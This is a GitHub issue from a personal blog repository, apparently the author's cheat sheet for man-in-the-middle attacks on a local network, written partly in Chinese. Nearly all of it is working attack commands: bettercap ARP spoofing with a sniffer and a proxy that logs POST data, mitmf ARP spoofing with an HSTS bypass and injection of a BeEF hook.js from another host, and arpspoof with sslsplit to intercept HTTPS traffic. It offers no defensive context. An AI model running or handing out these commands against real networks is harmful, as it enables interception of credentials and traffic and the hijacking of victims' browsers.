mylamour / blog

Your internal mediocrity is the moment when you lost the faith of being excellent. Just do it.
https://fz.cool
61 stars 14 forks source link

MITM #15

Open mylamour opened 6 years ago

mylamour commented 6 years ago

sniffer (ICMP/ARP)

bettercap -I enp0s31f6 -T 172.16.10.232 -S ARP -X --sniffer --proxy -P POST --log-timestamp --log /root/Desktop/232 --silent

hook.js and msfconsole

我使用了下mitmf,感觉没有bettercap好用,mitmf是这样用的python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js

端口号占用需要修改config目录下的mitmf.conf, 以上两个都需要root权限

https中间人

arpspoof -i eth0 -t target -r gateway
sslsplit -D -l connect.log -j  ./test -S ./log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
# 端口是你设置的转发端口

资源